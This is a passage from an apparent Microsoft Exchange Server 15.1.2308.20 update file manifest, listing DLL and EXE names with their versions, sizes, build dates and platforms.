3-Nov-21| 18:28| x86 \nMicrosoft.exchange.loganalyzer.extensions.ewslog.dll| 15.1.2308.20| 16,784| 3-Nov-21| 18:28| x86 \nMicrosoft.exchange.loganalyzer.extensions.griffinperfcounter.dll| 15.1.2308.20| 19,832| 3-Nov-21| 18:28| x86 \nMicrosoft.exchange.loganalyzer.extensions.groupescalationlog.dll| 15.1.2308.20| 15,248| 3-Nov-21| 18:28| x86 \nMicrosoft.exchange.loganalyzer.extensions.httpproxylog.dll| 15.1.2308.20| 17,296| 3-Nov-21| 18:28| x86 \nMicrosoft.exchange.loganalyzer.extensions.hxservicelog.dll| 15.1.2308.20| 19,832| 3-Nov-21| 18:28| x86 \nMicrosoft.exchange.loganalyzer.extensions.iislog.dll| 15.1.2308.20| 57,232| 3-Nov-21| 18:28| x86 \nMicrosoft.exchange.loganalyzer.extensions.migrationlog.dll| 15.1.2308.20| 17,784| 3-Nov-21| 18:28| x86 \nMicrosoft.exchange.loganalyzer.extensions.oabdownloadlog.dll| 15.1.2308.20| 18,808| 3-Nov-21| 19:25| x86 \nMicrosoft.exchange.loganalyzer.extensions.oauthcafelog.dll| 15.1.2308.20| 16,272| 3-Nov-21| 18:28| x86 \nMicrosoft.exchange.loganalyzer.extensions.outlookservicelog.dll| 15.1.2308.20| 17,808| 3-Nov-21| 18:29| x86 \nMicrosoft.exchange.loganalyzer.extensions.owaclientlog.dll| 15.1.2308.20| 15,224| 3-Nov-21| 18:28| x86 \nMicrosoft.exchange.loganalyzer.extensions.owalog.dll| 15.1.2308.20| 15,224| 3-Nov-21| 18:28| x86 \nMicrosoft.exchange.loganalyzer.extensions.perflog.dll| 15.1.2308.20| 52,624| 3-Nov-21| 18:23| x86 \nMicrosoft.exchange.loganalyzer.extensions.pfassistantlog.dll| 15.1.2308.20| 18,296| 3-Nov-21| 18:28| x86 \nMicrosoft.exchange.loganalyzer.extensions.rca.dll| 15.1.2308.20| 34,192| 3-Nov-21| 18:28| x86 \nMicrosoft.exchange.loganalyzer.extensions.restlog.dll| 15.1.2308.20| 17,288| 3-Nov-21| 19:25| x86 \nMicrosoft.exchange.loganalyzer.extensions.store.dll| 15.1.2308.20| 18,808| 3-Nov-21| 18:28| x86 \nMicrosoft.exchange.loganalyzer.extensions.transportsynchealthlog.dll| 15.1.2308.20| 43,384| 3-Nov-21| 18:28| x86 \nMicrosoft.exchange.loguploader.dll| 15.1.2308.20| 165,256| 3-Nov-21| 18:58| x86 \nMicrosoft.exchange.loguploaderproxy.dll| 15.1.2308.20| 54,664| 3-Nov-21| 18:56| x86 \nMicrosoft.exchange.mailboxassistants.assistants.dll| 15.1.2308.20| 9,063,288| 3-Nov-21| 21:38| x86 \nMicrosoft.exchange.mailboxassistants.attachmentthumbnail.dll| 15.1.2308.20| 33,168| 3-Nov-21| 19:56| x86 \nMicrosoft.exchange.mailboxassistants.common.dll| 15.1.2308.20| 124,296| 3-Nov-21| 20:16| x86 \nMicrosoft.exchange.mailboxassistants.crimsonevents.dll| 15.1.2308.20| 82,808| 3-Nov-21| 18:22| x64 \nMicrosoft.exchange.mailboxassistants.eventlog.dll| 15.1.2308.20| 14,200| 3-Nov-21| 18:39| x64 \nMicrosoft.exchange.mailboxassistants.rightsmanagement.dll| 15.1.2308.20| 30,096| 3-Nov-21| 20:20| x86 \nMicrosoft.exchange.mailboxloadbalance.dll| 15.1.2308.20| 661,392| 3-Nov-21| 20:31| x86 \nMicrosoft.exchange.mailboxloadbalance.serverstrings.dll| 15.1.2308.20| 63,376| 3-Nov-21| 20:10| x86 \nMicrosoft.exchange.mailboxreplicationservice.calendarsyncprovider.dll| 15.1.2308.20| 175,496| 3-Nov-21| 20:23| x86 \nMicrosoft.exchange.mailboxreplicationservice.common.dll| 15.1.2308.20| 2,786,192| 3-Nov-21| 20:18| x86 \nMicrosoft.exchange.mailboxreplicationservice.complianceprovider.dll| 15.1.2308.20| 53,128| 3-Nov-21| 20:21| x86 \nMicrosoft.exchange.mailboxreplicationservice.contactsyncprovider.dll| 15.1.2308.20| 151,952| 3-Nov-21| 20:22| x86 \nMicrosoft.exchange.mailboxreplicationservice.dll| 15.1.2308.20| 966,544| 3-Nov-21| 20:29| x86 \nMicrosoft.exchange.mailboxreplicationservice.easprovider.dll| 15.1.2308.20| 185,224| 3-Nov-21| 20:22| x86 \nMicrosoft.exchange.mailboxreplicationservice.eventlog.dll| 15.1.2308.20| 31,632| 3-Nov-21| 18:20| x64 \nMicrosoft.exchange.mailboxreplicationservice.googledocprovider.dll| 15.1.2308.20| 39,816| 3-Nov-21| 20:23| x86 \nMicrosoft.exchange.mailboxreplicationservice.imapprovider.dll| 15.1.2308.20| 105,856| 3-Nov-21| 20:23| x86 \nMicrosoft.exchange.mailboxreplicationservice.mapiprovider.dll| 15.1.2308.20| 94,608| 3-Nov-21| 20:21| x86 \nMicrosoft.exchange.mailboxreplicationservice.popprovider.dll| 15.1.2308.20| 43,408| 3-Nov-21| 20:23| x86 \nMicrosoft.exchange.mailboxreplicationservice.proxyclient.dll| 15.1.2308.20| 18,808| 3-Nov-21| 18:41| x86 \nMicrosoft.exchange.mailboxreplicationservice.proxyservice.dll| 15.1.2308.20| 172,944| 3-Nov-21| 20:30| x86 \nMicrosoft.exchange.mailboxreplicationservice.pstprovider.dll| 15.1.2308.20| 102,792| 3-Nov-21| 20:22| x86 \nMicrosoft.exchange.mailboxreplicationservice.remoteprovider.dll| 15.1.2308.20| 98,704| 3-Nov-21| 20:21| x86 \nMicrosoft.exchange.mailboxreplicationservice.storageprovider.dll| 15.1.2308.20| 188,304| 3-Nov-21| 20:23| x86 \nMicrosoft.exchange.mailboxreplicationservice.syncprovider.dll| 15.1.2308.20| 43,400| 3-Nov-21| 20:24| x86 \nMicrosoft.exchange.mailboxreplicationservice.xml.dll| 15.1.2308.20| 447,376| 3-Nov-21| 18:20| x86 \nMicrosoft.exchange.mailboxreplicationservice.xrmprovider.dll| 15.1.2308.20| 90,000| 3-Nov-21| 20:27| x86 \nMicrosoft.exchange.mailboxtransport.monitoring.dll| 15.1.2308.20| 107,920| 3-Nov-21| 21:49| x86 \nMicrosoft.exchange.mailboxtransport.storedriveragents.dll| 15.1.2308.20| 371,088| 3-Nov-21| 20:32| x86 \nMicrosoft.exchange.mailboxtransport.storedrivercommon.dll| 15.1.2308.20| 193,928| 3-Nov-21| 20:11| x86 \nMicrosoft.exchange.mailboxtransport.storedriverdelivery.dll| 15.1.2308.20| 551,816| 3-Nov-21| 20:16| x86 \nMicrosoft.exchange.mailboxtransport.storedriverdelivery.eventlog.dll| 15.1.2308.20| 16,272| 3-Nov-21| 18:28| x64 \nMicrosoft.exchange.mailboxtransport.submission.eventlog.dll| 15.1.2308.20| 15,752| 3-Nov-21| 18:37| x64 \nMicrosoft.exchange.mailboxtransport.submission.storedriversubmission.dll| 15.1.2308.20| 321,424| 3-Nov-21| 20:28| x86 \nMicrosoft.exchange.mailboxtransport.submission.storedriversubmission.eventlog.dll| 15.1.2308.20| 17,800| 3-Nov-21| 18:28| x64 \nMicrosoft.exchange.mailboxtransport.syncdelivery.dll| 15.1.2308.20| 45,456| 3-Nov-21| 20:13| x86 \nMicrosoft.exchange.mailboxtransportwatchdogservicelet.dll| 15.1.2308.20| 18,320| 3-Nov-21| 20:08| x86 \nMicrosoft.exchange.mailboxtransportwatchdogservicelet.eventlog.dll| 15.1.2308.20| 12,664| 3-Nov-21| 18:37| x64 \nMicrosoft.exchange.managedlexruntime.mppgruntime.dll| 15.1.2308.20| 20,856| 3-Nov-21| 18:20| x86 \nMicrosoft.exchange.management.activedirectory.dll| 15.1.2308.20| 415,112| 3-Nov-21| 19:48| x86 \nMicrosoft.exchange.management.classificationdefinitions.dll| 15.1.2308.20| 1,269,648| 3-Nov-21| 18:57| x86 \nMicrosoft.exchange.management.compliancepolicy.dll| 15.1.2308.20| 41,872| 3-Nov-21| 20:08| x86 \nMicrosoft.exchange.management.controlpanel.basics.dll| 15.1.2308.20| 433,552| 3-Nov-21| 18:41| x86 \nMicrosoft.exchange.management.controlpanel.dll| 15.1.2308.20| 4,563,320| 3-Nov-21| 22:38| x86 \nMicrosoft.exchange.management.controlpanel.owaoptionstrings.dll| 15.1.2308.20| 261,000| 3-Nov-21| 18:46| x86 \nMicrosoft.exchange.management.controlpanelmsg.dll| 15.1.2308.20| 33,680| 3-Nov-21| 18:30| x64 \nMicrosoft.exchange.management.deployment.analysis.dll| 15.1.2308.20| 94,088| 3-Nov-21| 18:52| x86 \nMicrosoft.exchange.management.deployment.dll| 15.1.2308.20| 591,224| 3-Nov-21| 20:11| x86 \nMicrosoft.exchange.management.deployment.xml.dll| 15.1.2308.20| 3,560,848| 3-Nov-21| 18:37| x86 \nMicrosoft.exchange.management.detailstemplates.dll| 15.1.2308.20| 67,960| 3-Nov-21| 21:08| x86 \nMicrosoft.exchange.management.dll| 15.1.2308.20| #########| 3-Nov-21| 20:46| x86 \nMicrosoft.exchange.management.edge.systemmanager.dll| 15.1.2308.20| 58,744| 3-Nov-21| 20:53| x86 \nMicrosoft.exchange.management.infrastructure.asynchronoustask.dll| 15.1.2308.20| 23,944| 3-Nov-21| 20:53| x86 \nMicrosoft.exchange.management.jitprovisioning.dll| 15.1.2308.20| 101,776| 3-Nov-21| 20:08| x86 \nMicrosoft.exchange.management.migration.dll| 15.1.2308.20| 543,624| 3-Nov-21| 20:49| x86 \nMicrosoft.exchange.management.mobility.dll| 15.1.2308.20| 305,016| 3-Nov-21| 20:50| x86 \nMicrosoft.exchange.management.nativeresources.dll| 15.1.2308.20| 131,984| 3-Nov-21| 18:22| x64 \nMicrosoft.exchange.management.powershell.support.dll| 15.1.2308.20| 418,696| 3-Nov-21| 20:53| x86 \nMicrosoft.exchange.management.provisioning.dll| 15.1.2308.20| 275,856| 3-Nov-21| 20:54| x86 \nMicrosoft.exchange.management.psdirectinvoke.dll| 15.1.2308.20| 70,528| 3-Nov-21| 21:03| x86 \nMicrosoft.exchange.management.rbacdefinition.dll| 15.1.2308.20| 7,874,440| 3-Nov-21| 19:25| x86 \nMicrosoft.exchange.management.recipient.dll| 15.1.2308.20| 1,500,536| 3-Nov-21| 20:51| x86 \nMicrosoft.exchange.management.reportingwebservice.dll| 15.1.2308.20| 145,296| 3-Nov-21| 21:07| x86 \nMicrosoft.exchange.management.reportingwebservice.eventlog.dll| 15.1.2308.20| 13,704| 3-Nov-21| 18:37| x64 \nMicrosoft.exchange.management.snapin.esm.dll| 15.1.2308.20| 71,560| 3-Nov-21| 20:53| x86 \nMicrosoft.exchange.management.systemmanager.dll| 15.1.2308.20| 1,301,368| 3-Nov-21| 20:50| x86 \nMicrosoft.exchange.management.transport.dll| 15.1.2308.20| 1,876,360| 3-Nov-21| 21:00| x86 \nMicrosoft.exchange.managementgui.dll| 15.1.2308.20| 5,225,848| 3-Nov-21| 19:15| x86 \nMicrosoft.exchange.managementmsg.dll| 15.1.2308.20| 36,216| 3-Nov-21| 18:22| x64 \nMicrosoft.exchange.mapihttpclient.dll| 15.1.2308.20| 117,624| 3-Nov-21| 18:55| x86 \nMicrosoft.exchange.mapihttphandler.dll| 15.1.2308.20| 209,808| 3-Nov-21| 20:50| x86 \nMicrosoft.exchange.messagesecurity.dll| 15.1.2308.20| 79,752| 3-Nov-21| 19:25| x86 \nMicrosoft.exchange.messagesecurity.messagesecuritymsg.dll| 15.1.2308.20| 17,296| 3-Nov-21| 18:36| x64 \nMicrosoft.exchange.messagingpolicies.dlppolicyagent.dll| 15.1.2308.20| 156,040| 3-Nov-21| 20:20| x86 \nMicrosoft.exchange.messagingpolicies.edgeagents.dll| 15.1.2308.20| 65,928| 3-Nov-21| 20:20| x86 \nMicrosoft.exchange.messagingpolicies.eventlog.dll| 15.1.2308.20| 30,608| 3-Nov-21| 18:22| x64 \nMicrosoft.exchange.messagingpolicies.filtering.dll| 15.1.2308.20| 58,232| 3-Nov-21| 20:12| x86 \nMicrosoft.exchange.messagingpolicies.hygienerules.dll| 15.1.2308.20| 29,576| 3-Nov-21| 20:22| x86 \nMicrosoft.exchange.messagingpolicies.journalagent.dll| 15.1.2308.20| 175,496| 3-Nov-21| 20:20| x86 \nMicrosoft.exchange.messagingpolicies.redirectionagent.dll| 15.1.2308.20| 28,552| 3-Nov-21| 20:20| x86 \nMicrosoft.exchange.messagingpolicies.retentionpolicyagent.dll| 15.1.2308.20| 75,136| 3-Nov-21| 20:23| x86 \nMicrosoft.exchange.messagingpolicies.rmsvcagent.dll| 15.1.2308.20| 207,240| 3-Nov-21| 20:22| x86 \nMicrosoft.exchange.messagingpolicies.rules.dll| 15.1.2308.20| 440,696| 3-Nov-21| 20:17| x86 \nMicrosoft.exchange.messagingpolicies.supervisoryreviewagent.dll| 15.1.2308.20| 83,336| 3-Nov-21| 20:22| x86 \nMicrosoft.exchange.messagingpolicies.transportruleagent.dll| 15.1.2308.20| 35,208| 3-Nov-21| 20:20| x86 \nMicrosoft.exchange.messagingpolicies.unifiedpolicycommon.dll| 15.1.2308.20| 53,128| 3-Nov-21| 20:20| x86 \nMicrosoft.exchange.messagingpolicies.unjournalagent.dll| 15.1.2308.20| 96,648| 3-Nov-21| 20:20| x86 \nMicrosoft.exchange.migration.dll| 15.1.2308.20| 1,110,416| 3-Nov-21| 20:30| x86 \nMicrosoft.exchange.migrationworkflowservice.eventlog.dll| 15.1.2308.20| 14,736| 3-Nov-21| 18:37| x64 \nMicrosoft.exchange.mobiledriver.dll| 15.1.2308.20| 135,560| 3-Nov-21| 20:11| x86 \nMicrosoft.exchange.monitoring.activemonitoring.local.components.dll| 15.1.2308.20| 5,156,744| 3-Nov-21| 21:43| x86 \nMicrosoft.exchange.monitoring.servicecontextprovider.dll| 15.1.2308.20| 19,840| 3-Nov-21| 19:14| x86 \nMicrosoft.exchange.mrsmlbconfiguration.dll| 15.1.2308.20| 68,496| 3-Nov-21| 18:54| x86 \nMicrosoft.exchange.net.dll| 15.1.2308.20| 5,084,560| 3-Nov-21| 18:46| x86 \nMicrosoft.exchange.net.rightsmanagement.dll| 15.1.2308.20| 265,616| 3-Nov-21| 18:52| x86 \nMicrosoft.exchange.networksettings.dll| 15.1.2308.20| 37,752| 3-Nov-21| 18:52| x86 \nMicrosoft.exchange.notifications.broker.eventlog.dll| 15.1.2308.20| 14,200| 3-Nov-21| 18:20| x64 \nMicrosoft.exchange.notifications.broker.exe| 15.1.2308.20| 549,768| 3-Nov-21| 21:33| x86 \nMicrosoft.exchange.oabauthmodule.dll| 15.1.2308.20| 22,928| 3-Nov-21| 19:52| x86 \nMicrosoft.exchange.oabrequesthandler.dll| 15.1.2308.20| 106,384| 3-Nov-21| 20:07| x86 \nMicrosoft.exchange.oauth.core.dll| 15.1.2308.20| 291,728| 3-Nov-21| 18:20| x86 \nMicrosoft.exchange.objectstoreclient.dll| 15.1.2308.20| 17,272| 3-Nov-21| 18:29| x86 \nMicrosoft.exchange.odata.configuration.dll| 15.1.2308.20| 277,880| 3-Nov-21| 18:52| x86 \nMicrosoft.exchange.odata.dll| 15.1.2308.20| 2,992,528| 3-Nov-21| 21:30| x86 \nMicrosoft.exchange.officegraph.common.dll| 15.1.2308.20| 89,976| 3-Nov-21| 19:35| x86 \nMicrosoft.exchange.officegraph.grain.dll| 15.1.2308.20| 101,776| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.officegraph.graincow.dll| 15.1.2308.20| 38,288| 3-Nov-21| 20:00| x86 \nMicrosoft.exchange.officegraph.graineventbasedassistants.dll| 15.1.2308.20| 45,456| 3-Nov-21| 20:04| x86 \nMicrosoft.exchange.officegraph.grainpropagationengine.dll| 15.1.2308.20| 58,232| 3-Nov-21| 19:58| x86 \nMicrosoft.exchange.officegraph.graintransactionstorage.dll| 15.1.2308.20| 147,336| 3-Nov-21| 19:55| x86 \nMicrosoft.exchange.officegraph.graintransportdeliveryagent.dll| 15.1.2308.20| 26,512| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.officegraph.graphstore.dll| 15.1.2308.20| 184,184| 3-Nov-21| 19:42| x86 \nMicrosoft.exchange.officegraph.permailboxkeys.dll| 15.1.2308.20| 26,512| 3-Nov-21| 19:52| x86 \nMicrosoft.exchange.officegraph.secondarycopyquotamanagement.dll| 15.1.2308.20| 38,288| 3-Nov-21| 20:03| x86 \nMicrosoft.exchange.officegraph.secondaryshallowcopylocation.dll| 15.1.2308.20| 55,688| 3-Nov-21| 19:53| x86 \nMicrosoft.exchange.officegraph.security.dll| 15.1.2308.20| 147,328| 3-Nov-21| 19:41| x86 \nMicrosoft.exchange.officegraph.semanticgraph.dll| 15.1.2308.20| 191,888| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.officegraph.tasklogger.dll| 15.1.2308.20| 33,672| 3-Nov-21| 19:57| x86 \nMicrosoft.exchange.partitioncache.dll| 15.1.2308.20| 28,048| 3-Nov-21| 18:36| x86 \nMicrosoft.exchange.passivemonitoringsettings.dll| 15.1.2308.20| 32,648| 3-Nov-21| 18:52| x86 \nMicrosoft.exchange.photogarbagecollectionservicelet.dll| 15.1.2308.20| 15,248| 3-Nov-21| 20:08| x86 \nMicrosoft.exchange.pop3.eventlog.dll| 15.1.2308.20| 17,288| 3-Nov-21| 18:37| x64 \nMicrosoft.exchange.pop3.eventlog.dll.fe| 15.1.2308.20| 17,288| 3-Nov-21| 18:37| Not applicable \nMicrosoft.exchange.pop3.exe| 15.1.2308.20| 106,880| 3-Nov-21| 19:56| x86 \nMicrosoft.exchange.pop3.exe.fe| 15.1.2308.20| 106,880| 3-Nov-21| 19:56| Not applicable \nMicrosoft.exchange.pop3service.exe| 15.1.2308.20| 24,952| 3-Nov-21| 19:53| x86 \nMicrosoft.exchange.pop3service.exe.fe| 15.1.2308.20| 24,952| 3-Nov-21| 19:53| Not applicable \nMicrosoft.exchange.popconfiguration.dl1| 15.1.2308.20| 42,872| 3-Nov-21| 18:52| Not applicable \nMicrosoft.exchange.popimap.core.dll| 15.1.2308.20| 264,056| 3-Nov-21| 19:52| x86 \nMicrosoft.exchange.popimap.core.dll.fe| 15.1.2308.20| 264,056| 3-Nov-21| 19:52| Not applicable \nMicrosoft.exchange.powersharp.dll| 15.1.2308.20| 358,288| 3-Nov-21| 18:20| x86 \nMicrosoft.exchange.powersharp.management.dll| 15.1.2308.20| 4,168,568| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.powershell.configuration.dll| 15.1.2308.20| 326,024| 3-Nov-21| 21:05| x64 \nMicrosoft.exchange.powershell.rbachostingtools.dll| 15.1.2308.20| 41,360| 3-Nov-21| 20:58| x86 \nMicrosoft.exchange.protectedservicehost.exe| 15.1.2308.20| 30,608| 3-Nov-21| 19:48| x86 \nMicrosoft.exchange.protocols.fasttransfer.dll| 15.1.2308.20| 135,040| 3-Nov-21| 20:06| x86 \nMicrosoft.exchange.protocols.mapi.dll| 15.1.2308.20| 436,616| 3-Nov-21| 20:04| x86 \nMicrosoft.exchange.provisioning.eventlog.dll| 15.1.2308.20| 14,208| 3-Nov-21| 18:37| x64 \nMicrosoft.exchange.provisioningagent.dll| 15.1.2308.20| 224,120| 3-Nov-21| 20:51| x86 \nMicrosoft.exchange.provisioningservicelet.dll| 15.1.2308.20| 105,864| 3-Nov-21| 20:48| x86 \nMicrosoft.exchange.pst.dll| 15.1.2308.20| 168,824| 3-Nov-21| 18:20| x86 \nMicrosoft.exchange.pst.dll.deploy| 15.1.2308.20| 168,824| 3-Nov-21| 18:20| Not applicable \nMicrosoft.exchange.pswsclient.dll| 15.1.2308.20| 259,472| 3-Nov-21| 18:37| x86 \nMicrosoft.exchange.publicfolders.dll| 15.1.2308.20| 72,072| 3-Nov-21| 18:52| x86 \nMicrosoft.exchange.pushnotifications.crimsonevents.dll| 15.1.2308.20| 215,928| 3-Nov-21| 18:22| x64 \nMicrosoft.exchange.pushnotifications.dll| 15.1.2308.20| 106,888| 3-Nov-21| 19:53| x86 \nMicrosoft.exchange.pushnotifications.publishers.dll| 15.1.2308.20| 425,848| 3-Nov-21| 19:56| x86 \nMicrosoft.exchange.pushnotifications.server.dll| 15.1.2308.20| 70,544| 3-Nov-21| 19:59| x86 \nMicrosoft.exchange.query.analysis.dll| 15.1.2308.20| 46,472| 3-Nov-21| 20:30| x86 \nMicrosoft.exchange.query.configuration.dll| 15.1.2308.20| 206,712| 3-Nov-21| 18:52| x86 \nMicrosoft.exchange.query.core.dll| 15.1.2308.20| 163,192| 3-Nov-21| 20:11| x86 \nMicrosoft.exchange.query.ranking.dll| 15.1.2308.20| 342,408| 3-Nov-21| 20:30| x86 \nMicrosoft.exchange.query.retrieval.dll| 15.1.2308.20| 149,392| 3-Nov-21| 20:32| x86 \nMicrosoft.exchange.query.suggestions.dll| 15.1.2308.20| 95,112| 3-Nov-21| 20:28| x86 \nMicrosoft.exchange.realtimeanalyticspublisherservicelet.dll| 15.1.2308.20| 127,352| 3-Nov-21| 20:15| x86 \nMicrosoft.exchange.relevance.core.dll| 15.1.2308.20| 63,376| 3-Nov-21| 18:20| x86 \nMicrosoft.exchange.relevance.data.dll| 15.1.2308.20| 36,744| 3-Nov-21| 19:32| x64 \nMicrosoft.exchange.relevance.mailtagger.dll| 15.1.2308.20| 17,808| 3-Nov-21| 19:15| x64 \nMicrosoft.exchange.relevance.people.dll| 15.1.2308.20| 9,666,936| 3-Nov-21| 20:25| x86 \nMicrosoft.exchange.relevance.peopleindex.dll| 15.1.2308.20| #########| 3-Nov-21| 18:52| x64 \nMicrosoft.exchange.relevance.peopleranker.dll| 15.1.2308.20| 36,728| 3-Nov-21| 18:55| x86 \nMicrosoft.exchange.relevance.perm.dll| 15.1.2308.20| 97,672| 3-Nov-21| 18:20| x64 \nMicrosoft.exchange.relevance.sassuggest.dll| 15.1.2308.20| 28,560| 3-Nov-21| 18:52| x64 \nMicrosoft.exchange.relevance.upm.dll| 15.1.2308.20| 72,080| 3-Nov-21| 18:22| x64 \nMicrosoft.exchange.routing.client.dll| 15.1.2308.20| 15,736| 3-Nov-21| 18:54| x86 \nMicrosoft.exchange.routing.eventlog.dll| 15.1.2308.20| 13,192| 3-Nov-21| 18:28| x64 \nMicrosoft.exchange.routing.server.exe| 15.1.2308.20| 59,256| 3-Nov-21| 19:54| x86 \nMicrosoft.exchange.rpc.dll| 15.1.2308.20| 1,683,320| 3-Nov-21| 18:52| x64 \nMicrosoft.exchange.rpcclientaccess.dll| 15.1.2308.20| 209,808| 3-Nov-21| 19:51| x86 \nMicrosoft.exchange.rpcclientaccess.exmonhandler.dll| 15.1.2308.20| 60,296| 3-Nov-21| 19:25| x86 \nMicrosoft.exchange.rpcclientaccess.handler.dll| 15.1.2308.20| 517,512| 3-Nov-21| 19:53| x86 \nMicrosoft.exchange.rpcclientaccess.monitoring.dll| 15.1.2308.20| 161,144| 3-Nov-21| 19:15| x86 \nMicrosoft.exchange.rpcclientaccess.parser.dll| 15.1.2308.20| 721,784| 3-Nov-21| 18:53| x86 \nMicrosoft.exchange.rpcclientaccess.server.dll| 15.1.2308.20| 243,088| 3-Nov-21| 19:56| x86 \nMicrosoft.exchange.rpcclientaccess.service.eventlog.dll| 15.1.2308.20| 20,872| 3-Nov-21| 18:22| x64 \nMicrosoft.exchange.rpcclientaccess.service.exe| 15.1.2308.20| 35,216| 3-Nov-21| 20:51| x86 \nMicrosoft.exchange.rpchttpmodules.dll| 15.1.2308.20| 42,360| 3-Nov-21| 19:58| x86 \nMicrosoft.exchange.rpcoverhttpautoconfig.dll| 15.1.2308.20| 56,184| 3-Nov-21| 20:48| x86 \nMicrosoft.exchange.rpcoverhttpautoconfig.eventlog.dll| 15.1.2308.20| 27,528| 3-Nov-21| 18:37| x64 \nMicrosoft.exchange.rules.common.dll| 15.1.2308.20| 130,424| 3-Nov-21| 19:14| x86 \nMicrosoft.exchange.saclwatcher.eventlog.dll| 15.1.2308.20| 14,728| 3-Nov-21| 18:37| x64 \nMicrosoft.exchange.saclwatcherservicelet.dll| 15.1.2308.20| 20,360| 3-Nov-21| 20:07| x86 \nMicrosoft.exchange.safehtml.dll| 15.1.2308.20| 21,384| 3-Nov-21| 18:20| x86 \nMicrosoft.exchange.sandbox.activities.dll| 15.1.2308.20| 267,656| 3-Nov-21| 18:23| x86 \nMicrosoft.exchange.sandbox.contacts.dll| 15.1.2308.20| 110,992| 3-Nov-21| 18:37| x86 \nMicrosoft.exchange.sandbox.core.dll| 15.1.2308.20| 112,528| 3-Nov-21| 18:20| x86 \nMicrosoft.exchange.sandbox.services.dll| 15.1.2308.20| 622,456| 3-Nov-21| 18:22| x86 \nMicrosoft.exchange.search.bigfunnel.dll| 15.1.2308.20| 162,192| 3-Nov-21| 20:30| x86 \nMicrosoft.exchange.search.bigfunnel.eventlog.dll| 15.1.2308.20| 12,168| 3-Nov-21| 18:37| x64 \nMicrosoft.exchange.search.blingwrapper.dll| 15.1.2308.20| 19,320| 3-Nov-21| 18:37| x86 \nMicrosoft.exchange.search.core.dll| 15.1.2308.20| 209,784| 3-Nov-21| 19:51| x86 \nMicrosoft.exchange.search.ediscoveryquery.dll| 15.1.2308.20| 17,800| 3-Nov-21| 20:32| x86 \nMicrosoft.exchange.search.engine.dll| 15.1.2308.20| 96,656| 3-Nov-21| 20:00| x86 \nMicrosoft.exchange.search.fast.configuration.dll| 15.1.2308.20| 16,760| 3-Nov-21| 18:54| x86 \nMicrosoft.exchange.search.fast.dll| 15.1.2308.20| 435,064| 3-Nov-21| 19:57| x86 \nMicrosoft.exchange.search.files.dll| 15.1.2308.20| 274,312| 3-Nov-21| 20:11| x86 \nMicrosoft.exchange.search.flighting.dll| 15.1.2308.20| 24,976| 3-Nov-21| 18:52| x86 \nMicrosoft.exchange.search.mdb.dll| 15.1.2308.20| 219,016| 3-Nov-21| 19:54| x86 \nMicrosoft.exchange.search.service.exe| 15.1.2308.20| 26,504| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.security.applicationencryption.dll| 15.1.2308.20| 162,168| 3-Nov-21| 19:52| x86 \nMicrosoft.exchange.security.dll| 15.1.2308.20| 1,555,848| 3-Nov-21| 19:48| x86 \nMicrosoft.exchange.security.msarpsservice.exe| 15.1.2308.20| 19,856| 3-Nov-21| 19:52| x86 \nMicrosoft.exchange.security.securitymsg.dll| 15.1.2308.20| 28,536| 3-Nov-21| 18:22| x64 \nMicrosoft.exchange.server.storage.admininterface.dll| 15.1.2308.20| 222,584| 3-Nov-21| 20:14| x86 \nMicrosoft.exchange.server.storage.common.dll| 15.1.2308.20| 1,110,920| 3-Nov-21| 19:14| x86 \nMicrosoft.exchange.server.storage.diagnostics.dll| 15.1.2308.20| 212,344| 3-Nov-21| 20:12| x86 \nMicrosoft.exchange.server.storage.directoryservices.dll| 15.1.2308.20| 113,552| 3-Nov-21| 20:06| x86 \nMicrosoft.exchange.server.storage.esebackinterop.dll| 15.1.2308.20| 82,832| 3-Nov-21| 19:16| x64 \nMicrosoft.exchange.server.storage.eventlog.dll| 15.1.2308.20| 80,776| 3-Nov-21| 18:37| x64 \nMicrosoft.exchange.server.storage.fulltextindex.dll| 15.1.2308.20| 66,424| 3-Nov-21| 19:56| x86 \nMicrosoft.exchange.server.storage.ha.dll| 15.1.2308.20| 81,296| 3-Nov-21| 20:07| x86 \nMicrosoft.exchange.server.storage.lazyindexing.dll| 15.1.2308.20| 207,760| 3-Nov-21| 20:00| x86 \nMicrosoft.exchange.server.storage.logicaldatamodel.dll| 15.1.2308.20| 1,163,152| 3-Nov-21| 20:04| x86 \nMicrosoft.exchange.server.storage.mapidisp.dll| 15.1.2308.20| 504,208| 3-Nov-21| 20:11| x86 \nMicrosoft.exchange.server.storage.multimailboxsearch.dll| 15.1.2308.20| 47,504| 3-Nov-21| 19:59| x86 \nMicrosoft.exchange.server.storage.physicalaccess.dll| 15.1.2308.20| 848,248| 3-Nov-21| 19:55| x86 \nMicrosoft.exchange.server.storage.propertydefinitions.dll| 15.1.2308.20| 1,219,976| 3-Nov-21| 19:25| x86 \nMicrosoft.exchange.server.storage.propertytag.dll| 15.1.2308.20| 30,608| 3-Nov-21| 19:16| x86 \nMicrosoft.exchange.server.storage.rpcproxy.dll| 15.1.2308.20| 120,712| 3-Nov-21| 20:16| x86 \nMicrosoft.exchange.server.storage.storecommonservices.dll| 15.1.2308.20| 1,009,528| 3-Nov-21| 19:59| x86 \nMicrosoft.exchange.server.storage.storeintegritycheck.dll| 15.1.2308.20| 110,992| 3-Nov-21| 20:06| x86 \nMicrosoft.exchange.server.storage.workermanager.dll| 15.1.2308.20| 34,704| 3-Nov-21| 19:16| x86 \nMicrosoft.exchange.server.storage.xpress.dll| 15.1.2308.20| 19,336| 3-Nov-21| 18:30| x86 \nMicrosoft.exchange.servicehost.eventlog.dll| 15.1.2308.20| 14,712| 3-Nov-21| 18:20| x64 \nMicrosoft.exchange.servicehost.exe| 15.1.2308.20| 60,792| 3-Nov-21| 20:05| x86 \nMicrosoft.exchange.servicelets.globallocatorcache.dll| 15.1.2308.20| 50,568| 3-Nov-21| 19:51| x86 \nMicrosoft.exchange.servicelets.globallocatorcache.eventlog.dll| 15.1.2308.20| 14,200| 3-Nov-21| 18:37| x64 \nMicrosoft.exchange.servicelets.unifiedpolicysyncservicelet.eventlog.dll| 15.1.2308.20| 14,200| 3-Nov-21| 18:37| x64 \nMicrosoft.exchange.services.common.dll| 15.1.2308.20| 74,120| 3-Nov-21| 20:21| x86 \nMicrosoft.exchange.services.dll| 15.1.2308.20| 8,477,072| 3-Nov-21| 21:11| x86 \nMicrosoft.exchange.services.eventlogs.dll| 15.1.2308.20| 30,072| 3-Nov-21| 18:22| x64 \nMicrosoft.exchange.services.ewshandler.dll| 15.1.2308.20| 633,720| 3-Nov-21| 21:23| x86 